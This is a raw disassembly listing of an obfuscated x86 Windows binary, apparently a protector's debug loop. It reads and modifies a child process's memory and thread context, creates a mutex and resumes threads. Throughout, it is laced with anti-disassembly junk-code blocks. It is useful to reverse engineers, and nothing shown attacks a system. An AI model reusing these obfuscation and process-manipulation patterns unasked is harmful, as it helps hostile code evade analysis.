shr edx, 18h
mov [ebp-14B0h], edx
mov eax, [ebp-14B4h]
and eax, 0FFFFFFh
mov [ebp-14ACh], eax
mov ecx, [ebp-13E8h]
push ecx
mov edx, [ebp-14A4h]
push edx
mov eax, [ebp-14ACh]
push eax
mov ecx, [ebp-14B0h]
call off_4ED844[ecx*4]
add esp, 0Ch
mov [ebp-14A8h], eax
mov edx, [ebp-14A8h]
and edx, 1
test edx, edx
jz loc_4BB50D
pusha
xor eax, eax
jnz short loc_4BB466
jmp short loc_4BB47B
; ---------------------------------------------------------------------------
loc_4BB466: ; CODE XREF: .text:004BB462j
jmp short loc_4BB49B
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4BB46D: ; CODE XREF: .text:loc_4BB47Bj
jo short loc_4BB47D
jmp short near ptr loc_4BB47D+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4BB47B: ; CODE XREF: .text:004BB464j
jz short loc_4BB46D
loc_4BB47D: ; CODE XREF: .text:loc_4BB46Dj
; .text:004BB46Fj
jmp short near ptr loc_4BB403+3
; ---------------------------------------------------------------------------
db 0DBh
dd 33A0F07Ah, 38858B61h, 8BFFFFEEh, 44B8850Ch, 858B004Fh
dd 0FFFFEB64h
db 33h, 0D2h, 0BEh
; ---------------------------------------------------------------------------
loc_4BB49B: ; CODE XREF: .text:loc_4BB466j
pop ss
; ---------------------------------------------------------------------------
dd 0F7000000h, 64858BF6h, 8BFFFFEBh, 8C33810Ch, 0FFEE6495h
dd 24958BFFh, 3FFFFECh, 249589D1h, 51FFFFECh, 0D1F7C90Fh
dd 0B8D0F750h, 6C65696Dh, 0C0DEB991h, 0F791DEADh, 0D1F758D0h
dd 33609C59h, 0EB0374DBh, 0DB33EB22h, 0DEB0074h, 0B90FEBB8h
dd 34F9C987h, 574F990h, 74C033EBh, 0C987B8F2h, 0C0854840h
dd 61E9DD75h, 6692669Dh, 0EBC08B92h
db 75h
; ---------------------------------------------------------------------------
loc_4BB50D: ; CODE XREF: .text:004BB459j
jo short loc_4BB516
jl short loc_4BB514
loc_4BB511: ; CODE XREF: .text:loc_4BB514j
; .text:loc_4BB516j
jmp short loc_4BB518
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BB514: ; CODE XREF: .text:004BB50Fj
jz short loc_4BB511
loc_4BB516: ; CODE XREF: .text:loc_4BB50Dj
jmp short loc_4BB511
; ---------------------------------------------------------------------------
loc_4BB518: ; CODE XREF: .text:loc_4BB511j
mov eax, [ebp-11C8h]
mov ecx, dword_4F46C0[eax*4]
mov edx, [ebp-149Ch]
xor eax, eax
mov al, [ecx+edx]
mov ecx, [ebp-13DCh]
add ecx, eax
mov [ebp-13DCh], ecx
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BB575 ; CODE XREF: .text:loc_4BB575j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BB54D: ; CODE XREF: .text:004BB56Ej
jmp short loc_4BB56C
; ---------------------------------------------------------------------------
loc_4BB54F: ; CODE XREF: .text:loc_4BB56Cj
xor ecx, ecx
loc_4BB551: ; CODE XREF: .text:004BB560j
jz short $+2
jmp short loc_4BB565
; ---------------------------------------------------------------------------
loc_4BB555: ; CODE XREF: .text:004BB569j
stc
xor ecx, 3
jz short near ptr dword_4BB49C+4Fh
jmp short loc_4BB562
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BB55E: ; CODE XREF: .text:loc_4BB562j
jmp short loc_4BB570
; ---------------------------------------------------------------------------
jz short loc_4BB551
loc_4BB562: ; CODE XREF: .text:004BB55Bj
jnb short loc_4BB55E
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BB565: ; CODE XREF: .text:004BB553j
sbb bl, bl
xor ebx, ebx
jmp short loc_4BB555
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BB56C: ; CODE XREF: .text:loc_4BB54Dj
jmp short loc_4BB54F
; ---------------------------------------------------------------------------
jmp short loc_4BB54D
; ---------------------------------------------------------------------------
loc_4BB570: ; CODE XREF: .text:loc_4BB55Ej
repne sbb al, 0DBh
jmp short loc_4BB578
; ---------------------------------------------------------------------------
loc_4BB575: ; CODE XREF: .text:004BB548j
jmp short near ptr loc_4BB548+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BB578: ; CODE XREF: .text:004BB573j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
push ecx
bswap ecx
not ecx
push eax
not eax ; CODE XREF: .text:loc_4BB600j
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BB5A5
loc_4BB5A2: ; CODE XREF: .text:004BB5C3j
jmp short near ptr loc_4BB5C5+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BB5A5: ; CODE XREF: .text:004BB5A0j
xor ebx, ebx
jz short $+2
jmp short loc_4BB5B8
; ---------------------------------------------------------------------------
db 0B8h
db 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BB5AE: ; CODE XREF: .text:004BB5BAj
mov ecx, 34F9C987h
nop
stc
jz short loc_4BB5BC
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BB5B8: ; CODE XREF: .text:004BB5A9j
xor eax, eax
jz short loc_4BB5AE
loc_4BB5BC: ; CODE XREF: .text:004BB5B5j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BB5A2
loc_4BB5C5: ; CODE XREF: .text:loc_4BB5A2j
jmp near ptr 92B2532Bh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
lea edx, [ebp-1494h]
push edx
mov eax, [ebp-11C0h]
push eax
call dword_4ED0DC ; SetThreadContext
pusha
xor eax, eax
jnz short loc_4BB5E9
jmp short loc_4BB5FE
; ---------------------------------------------------------------------------
loc_4BB5E9: ; CODE XREF: .text:004BB5E5j
jmp short near ptr loc_4BB61D+1
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4BB5F0: ; CODE XREF: .text:loc_4BB5FEj
jo short loc_4BB600
jmp short near ptr loc_4BB600+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4BB607
loc_4BB5FE: ; CODE XREF: .text:004BB5E7j
jz short loc_4BB5F0
loc_4BB600: ; CODE XREF: .text:loc_4BB5F0j
; .text:004BB5F2j
jmp short near ptr loc_4BB588+1
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4BB607: ; CODE XREF: .text:004BB5FCj
popa
loc_4BB608: ; CODE XREF: .text:004BAC89j
; .text:004BB16Fj ...
mov dword ptr [ebp-0A34h], 10002h
jmp short loc_4BB66A
; ---------------------------------------------------------------------------
loc_4BB614: ; CODE XREF: .text:004BAA19j
jo short loc_4BB61D
jl short loc_4BB61B
loc_4BB618: ; CODE XREF: .text:loc_4BB61Bj
; .text:loc_4BB61Dj
jmp short loc_4BB61F
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BB61B: ; CODE XREF: .text:004BB616j
jz short loc_4BB618
loc_4BB61D: ; CODE XREF: .text:loc_4BB614j
; .text:loc_4BB5E9j
jmp short loc_4BB618
; ---------------------------------------------------------------------------
loc_4BB61F: ; CODE XREF: .text:loc_4BB618j
mov ecx, [ebp-0A30h]
mov edx, [ecx+0Ch] ; CODE XREF: .text:004BB695j
mov [ebp-14B8h], edx
mov eax, [ebp-14B8h]
mov [ebp-1AA8h], eax
cmp dword ptr [ebp-1AA8h], 0C0000008h
jz short loc_4BB660
cmp dword ptr [ebp-1AA8h], 0C00000FDh
jz short loc_4BB660
cmp dword ptr [ebp-1AA8h], 0C0000235h
jz short loc_4BB660
jmp short loc_4BB66A
; ---------------------------------------------------------------------------
loc_4BB660: ; CODE XREF: .text:004BB644j
; .text:004BB650j ...
mov dword ptr [ebp-0A34h], 10002h
loc_4BB66A: ; CODE XREF: .text:loc_4BA558j
; .text:loc_4BAA02j ...
jmp loc_4BC095
; ---------------------------------------------------------------------------
loc_4BB66F: ; CODE XREF: .text:004B9E59j
mov ecx, [ebp-0A30h]
cmp dword ptr [ecx], 2
jnz short loc_4BB6F8
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BB6B1 ; CODE XREF: .text:loc_4BB6B1j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BB689: ; CODE XREF: .text:loc_4BB6AAj
jmp short loc_4BB6A8
; ---------------------------------------------------------------------------
loc_4BB68B: ; CODE XREF: .text:loc_4BB6A8j
xor ecx, ecx
loc_4BB68D: ; CODE XREF: .text:004BB69Cj
jz short $+2
jmp short loc_4BB6A1
; ---------------------------------------------------------------------------
loc_4BB691: ; CODE XREF: .text:004BB6A5j
stc
xor ecx, 3
jz short near ptr loc_4BB625+2
jmp short loc_4BB69E
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BB69A: ; CODE XREF: .text:loc_4BB69Ej
jmp short loc_4BB6AC
; ---------------------------------------------------------------------------
jz short loc_4BB68D
loc_4BB69E: ; CODE XREF: .text:004BB697j
jnb short loc_4BB69A
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BB6A1: ; CODE XREF: .text:004BB68Fj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BB691
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BB6A8: ; CODE XREF: .text:loc_4BB689j
jmp short loc_4BB68B
; ---------------------------------------------------------------------------
loc_4BB6AA: ; CODE XREF: .text:loc_4BB721j
jmp short loc_4BB689
; ---------------------------------------------------------------------------
loc_4BB6AC: ; CODE XREF: .text:loc_4BB69Aj
repne sbb al, 0DBh
jmp short loc_4BB6B4
; ---------------------------------------------------------------------------
loc_4BB6B1: ; CODE XREF: .text:004BB684j
jmp short near ptr loc_4BB684+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BB6B4: ; CODE XREF: .text:004BB6AFj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov edx, dword_4ED83C
add edx, 1
mov dword_4ED83C, edx
mov eax, [ebp-0A30h]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp-0A30h]
mov eax, [edx+8]
push eax
call sub_4BDB47
add esp, 8
mov dword ptr [ebp-0A34h], 10002h
jmp loc_4BC095
; ---------------------------------------------------------------------------
loc_4BB6F8: ; CODE XREF: .text:004BB678j
mov ecx, [ebp-0A30h]
cmp dword ptr [ecx], 4
jnz short loc_4BB759
pusha
xor eax, eax
jnz short loc_4BB70A
jmp short loc_4BB71F
; ---------------------------------------------------------------------------
loc_4BB70A: ; CODE XREF: .text:004BB706j
jmp short loc_4BB73F
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4BB711: ; CODE XREF: .text:loc_4BB71Fj
jo short loc_4BB721
jmp short near ptr loc_4BB721+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4BB71F: ; CODE XREF: .text:004BB708j
jz short loc_4BB711
loc_4BB721: ; CODE XREF: .text:loc_4BB711j
; .text:004BB713j
jmp short loc_4BB6AA
; ---------------------------------------------------------------------------
db 0DBh
dd 33A0F07Ah, 3C158B61h, 83004ED8h, 158901EAh, 4ED83Ch
dd 0F5D0858Bh
db 2 dup(0FFh), 8Bh
; ---------------------------------------------------------------------------
loc_4BB73F: ; CODE XREF: .text:loc_4BB70Aj
dec eax
or [ecx-18h], dl
sub ds:0C4830000h, ah
add al, 0C7h
test ecx, esp
cmc
; ---------------------------------------------------------------------------
dw 0FFFFh
; ---------------------------------------------------------------------------
add al, [eax]
add [eax], eax
jmp loc_4BC095
; ---------------------------------------------------------------------------
loc_4BB759: ; CODE XREF: .text:004BB701j
mov edx, [ebp-0A30h]
cmp dword ptr [edx], 5
jnz short loc_4BB7BF
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BB787
loc_4BB784: ; CODE XREF: .text:004BB7A5j
jmp short near ptr loc_4BB7A7+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BB787: ; CODE XREF: .text:004BB782j
xor ebx, ebx
jz short $+2
jmp short loc_4BB79A
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BB790: ; CODE XREF: .text:004BB79Cj
mov ecx, 34F9C987h
nop
stc
jz short loc_4BB79E
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BB79A: ; CODE XREF: .text:004BB78Bj
xor eax, eax
jz short loc_4BB790
loc_4BB79E: ; CODE XREF: .text:004BB797j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BB784
loc_4BB7A7: ; CODE XREF: .text:loc_4BB784j
jmp near ptr 92B2550Dh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov dword ptr [ebp-0A34h], 10002h
jmp loc_4BC095 ; CODE XREF: .text:004BB82Aj
; ---------------------------------------------------------------------------
loc_4BB7BF: ; CODE XREF: .text:004BB762j
mov eax, [ebp-0A30h]
cmp dword ptr [eax], 8
jnz loc_4BB8DA
jo short loc_4BB7D7
jl short loc_4BB7D5
loc_4BB7D2: ; CODE XREF: .text:loc_4BB7D5j
; .text:loc_4BB7D7j
jmp short loc_4BB7D9
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BB7D5: ; CODE XREF: .text:004BB7D0j
jz short loc_4BB7D2
loc_4BB7D7: ; CODE XREF: .text:004BB7CEj
jmp short loc_4BB7D2
; ---------------------------------------------------------------------------
loc_4BB7D9: ; CODE XREF: .text:loc_4BB7D2j
mov ecx, [ebp-0A30h]
xor edx, edx
mov dx, [ecx+12h]
mov [ebp-14C0h], edx
mov eax, [ebp-14C0h]
add eax, 2
push eax
call sub_4C85E1
add esp, 4
mov [ebp-1914h], eax
mov ecx, [ebp-1914h]
mov [ebp-14BCh], ecx
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BB846 ; CODE XREF: .text:loc_4BB846j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BB81E: ; CODE XREF: .text:004BB83Fj
jmp short loc_4BB83D
; ---------------------------------------------------------------------------
loc_4BB820: ; CODE XREF: .text:loc_4BB83Dj
xor ecx, ecx
loc_4BB822: ; CODE XREF: .text:004BB831j
jz short $+2
jmp short loc_4BB836
; ---------------------------------------------------------------------------
loc_4BB826: ; CODE XREF: .text:004BB83Aj
stc
xor ecx, 3
jz short near ptr loc_4BB7BA+2
jmp short loc_4BB833
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BB82F: ; CODE XREF: .text:loc_4BB833j
jmp short loc_4BB841
; ---------------------------------------------------------------------------
jz short loc_4BB822
loc_4BB833: ; CODE XREF: .text:004BB82Cj
jnb short loc_4BB82F
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BB836: ; CODE XREF: .text:004BB824j
sbb bl, bl
xor ebx, ebx
jmp short loc_4BB826
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BB83D: ; CODE XREF: .text:loc_4BB81Ej
jmp short loc_4BB820
; ---------------------------------------------------------------------------
jmp short loc_4BB81E
; ---------------------------------------------------------------------------
loc_4BB841: ; CODE XREF: .text:loc_4BB82Fj
repne sbb al, 0DBh
jmp short loc_4BB849
; ---------------------------------------------------------------------------
loc_4BB846: ; CODE XREF: .text:004BB819j
jmp short near ptr loc_4BB819+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BB849: ; CODE XREF: .text:004BB844j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
push 0
mov edx, [ebp-14C0h]
add edx, 2
push edx
mov eax, [ebp-14BCh]
push eax
mov ecx, [ebp-0A30h]
mov edx, [ecx+0Ch]
push edx
mov eax, dword_4F4750
mov ecx, [eax]
push ecx
call dword_4ED0D0 ; ReadProcessMemory
mov edx, [ebp-0A30h]
xor eax, eax
mov ax, [edx+10h]
test eax, eax
jz short loc_4BB8A0
cmp dword ptr [ebp-1Ch], 0
jz short loc_4BB89E
mov ecx, [ebp-14BCh]
push ecx
call dword ptr [ebp-1Ch]
loc_4BB89E: ; CODE XREF: .text:004BB892j
jmp short loc_4BB8B0
; ---------------------------------------------------------------------------
loc_4BB8A0: ; CODE XREF: .text:004BB88Cj
cmp dword ptr [ebp-44h], 0
jz short loc_4BB8B0
mov edx, [ebp-14BCh]
push edx
call dword ptr [ebp-44h]
loc_4BB8B0: ; CODE XREF: .text:loc_4BB89Ej
; .text:004BB8A4j
mov eax, [ebp-14BCh]
mov [ebp-1918h], eax
mov ecx, [ebp-1918h]
push ecx
call sub_4C85D6
add esp, 4
mov dword ptr [ebp-0A34h], 10002h
jmp loc_4BC095
; ---------------------------------------------------------------------------
loc_4BB8DA: ; CODE XREF: .text:004BB7C8j
mov edx, [ebp-0A30h]
cmp dword ptr [edx], 9
jnz short loc_4BB8EA
jmp loc_4BC095
; ---------------------------------------------------------------------------
loc_4BB8EA: ; CODE XREF: .text:004BB8E3j
mov eax, [ebp-0A30h]
cmp dword ptr [eax], 3
jnz loc_4BBE03
xor ecx, ecx
mov cl, byte_4EDC44
test ecx, ecx
jz loc_4BB98D
mov byte_4EDC44, 0
mov edx, dword_4ED3E4
xor edx, dword_4ED420
push edx
mov eax, dword_4F4750
mov ecx, [eax+8]
push ecx
push offset aXDa08x ; "%X::DA%08X"
lea edx, [ebp-208h]
push edx
call _sprintf_0
add esp, 10h
lea eax, [ebp-208h]
push eax
push 0
push 0
call dword_4ED0A4 ; CreateMutexA
call dword_4ED078 ; RtlGetLastWin32Error
cmp eax, 0B7h ; CODE XREF: .text:loc_4BB9CBj
jnz short loc_4BB971
mov byte ptr [ebp-1AA9h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov al, [ebp-1AA9h]
jmp loc_4BC14E
; ---------------------------------------------------------------------------
loc_4BB971: ; CODE XREF: .text:004BB956j
mov dword ptr [ebp-0A34h], 10002h
mov ecx, dword_4F4750
mov edx, [ecx+4]
push edx
call dword_4ED0F0 ; ResumeThread
jmp short loc_4BB9AD
; ---------------------------------------------------------------------------
loc_4BB98D: ; CODE XREF: .text:004BB903j
mov eax, [ebp-0A30h]
mov ecx, [eax+10h]
push ecx
call dword_4ED0E8 ; CloseHandle
mov edx, [ebp-0A30h]
mov eax, [edx+14h]
push eax
call dword_4ED0E8 ; CloseHandle
loc_4BB9AD: ; CODE XREF: .text:004BB98Bj
pusha
xor eax, eax
jnz short loc_4BB9B4
jmp short loc_4BB9C9
; ---------------------------------------------------------------------------
loc_4BB9B4: ; CODE XREF: .text:004BB9B0j
jmp short loc_4BB9E9
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4BB9BB: ; CODE XREF: .text:loc_4BB9C9j
jo short loc_4BB9CB
jmp short near ptr loc_4BB9CB+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4BB9C9: ; CODE XREF: .text:004BB9B2j
jz short loc_4BB9BB
loc_4BB9CB: ; CODE XREF: .text:loc_4BB9BBj
; .text:004BB9BDj
jmp short near ptr loc_4BB951+3
; ---------------------------------------------------------------------------
db 0DBh, 7Ah, 0F0h
dd 0E86133A0h, 0FFFFC95Dh, 0FF25h, 0FC08500h, 41984h, 7C077000h
db 3
; ---------------------------------------------------------------------------
loc_4BB9E9: ; CODE XREF: .text:loc_4BB9B4j
; .text:004BB9ECj ...
jmp short loc_4BB9F0
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
jz short loc_4BB9E9
jmp short loc_4BB9E9
; ---------------------------------------------------------------------------
loc_4BB9F0: ; CODE XREF: .text:loc_4BB9E9j
mov dword ptr [ebp-14C4h], 0
jmp short loc_4BBA0B
; ---------------------------------------------------------------------------
loc_4BB9FC: ; CODE XREF: .text:004BBDADj
mov ecx, [ebp-14C4h]
add ecx, 1
mov [ebp-14C4h], ecx
loc_4BBA0B: ; CODE XREF: .text:004BB9FAj
mov edx, dword_4F4768
shl edx, 4
cmp [ebp-14C4h], edx
jge loc_4BBDB2
mov dword ptr [ebp-1A60h], 100h
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A54h], eax
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A50h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A5Ch], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A58h], edx
mov ecx, [ebp-1A50h]
imul ecx, [ebp-1A58h]
mov edx, [ebp-1A54h]
imul edx, [ebp-1A58h]
mov eax, [ebp-1A50h]
imul eax, [ebp-1A5Ch]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-24h], edx
mov eax, [ebp-24h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1A60h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1A4Ch], eax
mov dword ptr [ebp-1A74h], 100h
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A68h], eax
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A64h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A70h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A6Ch], edx
mov ecx, [ebp-1A64h]
imul ecx, [ebp-1A6Ch]
mov edx, [ebp-1A68h]
imul edx, [ebp-1A6Ch]
mov eax, [ebp-1A64h]
imul eax, [ebp-1A70h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-24h], edx
mov eax, [ebp-24h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1A74h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1A40h], eax
mov dword ptr [ebp-1A88h], 100h
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A7Ch], eax
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A78h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A84h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A80h], edx
mov ecx, [ebp-1A78h]
imul ecx, [ebp-1A80h]
mov edx, [ebp-1A7Ch]
imul edx, [ebp-1A80h]
mov eax, [ebp-1A78h]
imul eax, [ebp-1A84h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-24h], edx
mov eax, [ebp-24h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1A88h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1A44h], eax
mov dword ptr [ebp-1A9Ch], 100h
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A90h], eax
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A8Ch], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A98h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A94h], edx
mov ecx, [ebp-1A8Ch]
imul ecx, [ebp-1A94h]
mov edx, [ebp-1A90h]
imul edx, [ebp-1A94h]
mov eax, [ebp-1A8Ch]
imul eax, [ebp-1A98h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-24h], edx
mov eax, [ebp-24h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1A9Ch]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1A48h], eax
mov edx, [ebp-1A44h]
shl edx, 8
mov eax, [ebp-1A40h]
shl eax, 10h
mov ecx, [ebp-1A4Ch]
shl ecx, 18h
or ecx, eax
or ecx, edx
or ecx, [ebp-1A48h]
xor ecx, dword_4ED41C
xor ecx, dword_4ED424
xor ecx, dword_4ED3EC
xor ecx, dword_4ED428
xor ecx, dword_4ED3AC
mov edx, [ebp-14C4h]
mov eax, dword_4F474C
mov [eax+edx*4], ecx
jmp loc_4BB9FC
; ---------------------------------------------------------------------------
loc_4BBDB2: ; CODE XREF: .text:004BBA1Aj
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BBDD5
loc_4BBDD2: ; CODE XREF: .text:004BBDF3j
jmp short near ptr loc_4BBDF5+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BBDD5: ; CODE XREF: .text:004BBDD0j
xor ebx, ebx
jz short $+2
jmp short loc_4BBDE8
; ---------------------------------------------------------------------------
db 0B8h
db 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BBDDE: ; CODE XREF: .text:004BBDEAj
mov ecx, 34F9C987h
nop
stc
jz short loc_4BBDEC
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BBDE8: ; CODE XREF: .text:004BBDD9j
xor eax, eax
jz short loc_4BBDDE
loc_4BBDEC: ; CODE XREF: .text:004BBDE5j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BBDD2
loc_4BBDF5: ; CODE XREF: .text:loc_4BBDD2j
jmp near ptr 92B25B5Bh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
jmp loc_4BC095
; ---------------------------------------------------------------------------
loc_4BBE03: ; CODE XREF: .text:004BB8F3j
mov ecx, [ebp-0A30h]
cmp dword ptr [ecx], 6
jnz loc_4BC08B
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BBE35
loc_4BBE32: ; CODE XREF: .text:004BBE53j
jmp short near ptr loc_4BBE55+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BBE35: ; CODE XREF: .text:004BBE30j
xor ebx, ebx
jz short $+2
jmp short loc_4BBE48
; ---------------------------------------------------------------------------
db 0B8h
db 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BBE3E: ; CODE XREF: .text:004BBE4Aj
mov ecx, 34F9C987h
nop
stc
jz short loc_4BBE4C
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BBE48: ; CODE XREF: .text:004BBE39j
xor eax, eax
jz short loc_4BBE3E
loc_4BBE4C: ; CODE XREF: .text:004BBE45j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BBE32
loc_4BBE55: ; CODE XREF: .text:loc_4BBE32j
jmp near ptr 92B25BBBh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov dl, byte_4F4120
mov [ebp-18D8h], dl
mov ecx, 40h
xor eax, eax
lea edi, [ebp-18D7h]
rep stosd
stosw
stosb
mov al, byte_4F4120
mov [ebp-15C8h], al
mov ecx, 40h
xor eax, eax
lea edi, [ebp-15C7h]
rep stosd
stosw
stosb
mov ecx, [ebp-0A30h] ; CODE XREF: .text:loc_4BBF15j
mov edx, [ecx+1Ch]
mov [ebp-17D4h], edx
cmp dword ptr [ebp-17D4h], 0
jz loc_4BC07B
push 0
push 4
lea eax, [ebp-17D4h]
push eax
mov ecx, [ebp-17D4h]
push ecx
mov edx, dword_4F4750
mov eax, [edx]
push eax
call dword_4ED0D0 ; ReadProcessMemory
cmp dword ptr [ebp-17D4h], 0
jz loc_4BC07B
